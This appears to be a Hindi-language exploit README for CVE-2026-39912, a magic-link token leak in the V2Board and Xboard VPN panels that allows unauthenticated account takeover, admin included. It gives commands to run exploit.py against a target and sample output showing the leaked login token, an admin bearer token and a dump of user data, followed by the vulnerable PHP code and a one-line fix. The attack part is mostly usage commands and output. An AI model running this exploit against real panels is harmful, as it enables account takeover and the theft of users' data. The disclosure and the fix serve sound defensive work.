
Xboard / V2Board अनधिकृत खाता अधिग्रहण - मैजिक लिंक टोकन रिसाव (CVE-2026-39912)
loginWithMailLink में मैजिक लिंक टोकन रिसाव
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (गंभीर) |
| CWE | CWE-201 (भेजे गए डेटा में संवेदनशील जानकारी का समावेश) |
| प्रभावित | V2Board >= 1.6.1 से 1.7.4 तक / Xboard के सभी संस्करण 0.1.9+ तक |
| फिक्स | अभी नहीं (V2Board जून 2023 से परित्यक्त है) |
| खुलासा | 2026-04-09 |
| श्रेय | Valentin Lobstein (Chocapikk) |
| विस्तृत विवरण | chocapikk.com |
| फिक्स PRs | V2Board #981 / Xboard #873 |
loginWithMailLink एंडपॉइंट मैजिक लॉगिन लिंक को केवल ईमेल के माध्यम से भेजने के बजाय सीधे HTTP प्रतिक्रिया बॉडी में लौटाता है। एक अनधिकृत हमलावर जो किसी पंजीकृत ईमेल को जानता है, वह दो HTTP अनुरोधों में किसी भी खाते — जिसमें एडमिन भी शामिल है — पर कब्ज़ा कर सकता है।
दोनों व्यापक रूप से तैनात VPN/प्रॉक्सी पैनल हैं, मुख्यतः चीन में। ZoomEye इंटरनेट पर 7,000+ उजागर इंस्टेंस दिखाता है।
login_with_mail_link_enable सक्षम होना चाहिए (डिफ़ॉल्ट रूप से सक्षम नहीं है)# Install dependencies
pip install requests
# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]
# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token leaked to caller
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Same bug, inherited from fork
- return [true, $link];
+ return [true, true];